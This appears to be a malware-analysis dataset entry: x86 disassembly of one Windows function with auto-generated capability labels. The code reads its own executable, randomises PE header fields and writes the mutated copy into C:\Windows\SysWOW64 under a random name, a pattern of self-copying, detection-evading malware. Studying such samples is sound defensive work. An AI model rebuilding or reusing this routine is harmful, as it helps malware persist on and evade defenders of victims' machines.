Function at 0x40c1c0
Capabilities:
Check if file exists
Get file size
Read file on windows
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x4299f0
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push ebx
push ebp
push esi
push edi
mov eax, dword [0x43b14c]
xor eax, esp
push eax
lea eax, [esp + 0x40]
mov dword fs:[0], eax
lea eax, [esp + 0x20]
xor esi, esi
push eax
mov dword [esp + 0x28], esi
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
cmp dword [esp + 0x20], esi
je 0x40c521
mov eax, dword [0x441f4c]
cmp eax, esi
je 0x40c21d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x44130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x44130c
call eax
lea edi, [eax + 0x10]
mov dword [esp + 0x14], edi
mov dword [esp + 0x48], esi
mov eax, dword [edi - 8]
mov ecx, 1
sub ecx, dword [edi - 4]
sub eax, 0x104
or eax, ecx
jge 0x40c25e
mov ecx, 0x104
lea eax, [esp + 0x14]
call fcn.004015c0
mov edi, dword [esp + 0x14]
push 0x104
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [edi - 8]
push eax
push edi
call fcn.00419ba5
add esp, 8
cmp eax, esi
jl 0x40c539
cmp eax, dword [edi - 8]
jg 0x40c539
push esi
push esi
push 3
push esi
push 7
push closesocket
xor ecx, ecx
mov dword [edi - 0xc], eax
push edi
mov word [edi + eax*2], cx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40c4fd
lea edx, [esp + 0x34]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esp + 0x34]
mov ebp, eax
push eax
mov dword [esp + 0x30], ebp
call fcn.00418bbe
add esp, 4
mov ebx, eax
push 0
lea eax, [esp + 0x2c]
push eax
push ebp
push ebx
push esi
mov dword [esp + 0x44], ebx
mov dword [esp + 0x3c], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x40c4fd
mov esi, dword [ebx + 0x3c]
mov eax, 0xc3
xor edi, edi
add esi, ebx
call fcn.0040b710
mov ebp, eax
mov eax, 0xffff
call fcn.0040b710
mov ebx, dword [esi + 0x38]
shl ebp, 0x10
lea ebp, [eax + ebp + 0x61cf2900]
movzx eax, word [esi + 6]
mov dword [esi + 8], ebp
test eax, eax
jbe 0x40c36a
add esi, 0x100
mov dword [esp + 0x1c], eax
jmp 0x40c340
mov ebp, dword [esi]
xor edx, edx
mov eax, ebp
div ebx
cmp edx, 5
jbe 0x40c360
mov eax, ebx
sub eax, edx
dec eax
mov edi, 1
call fcn.0040b710
add eax, ebp
mov dword [esi], eax
add esi, 0x28
sub dword [esp + 0x1c], 1
jne 0x40c340
mov edx, dword [0x44130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x44130c
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
mov eax, 0x2710
mov edi, 0x3e8
mov byte [esp + 0x48], 1
call fcn.0040b710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
imul esi, eax
push esi
push str.C:WindowsSyswow64_x
lea edi, [esp + 0x20]
call fcn.004016c0
mov edi, dword [esp + 0x20]
add esp, 8
push 0
push 0
mov ebx, 2
push ebx
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40c3fe
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x30]
push 0
lea ecx, [esp + 0x20]
push ecx
push edx
push eax
push esi
mov dword [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40c4d8
mov edx, dword [0x44130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x44130c
call eax
add eax, 0x10
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x1c]
push ecx
push edi
mov byte [esp + 0x50], bl
call fcn.0040bde0
add esp, 8
test eax, eax
je 0x40c4b3
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
lea esi, [esp + 0x30]
call fcn.00417c90
mov byte [esp + 0x48], 3
mov eax, dword [eax]
push eax
push 0x441048
push str.asdc
call fcn.00401130
mov esi, eax
mov byte [esp + 0x54], bl
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
add esp, 0xc
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40c48b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
jne 0x40c49e
push 0x1e
call ebp
inc edi
cmp edi, 0x3e8
jl 0x40c442
jmp 0x40c4a6
mov dword [esp + 0x24], 1
mov ecx, dword [esp + 0x1c]
call fcn.0040c080
mov edi, dword [esp + 0x18]
mov byte [esp + 0x48], 1
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c4d8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
mov byte [esp + 0x48], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c4f9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [esp + 0x14]
add edi, 0xfffffff0
mov dword [esp + 0x48], 0xffffffff
lea ecx, [edi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c521
mov ecx, dword [edi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push edi
call edx
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret
push 0x80070057
call fcn.00401760
int3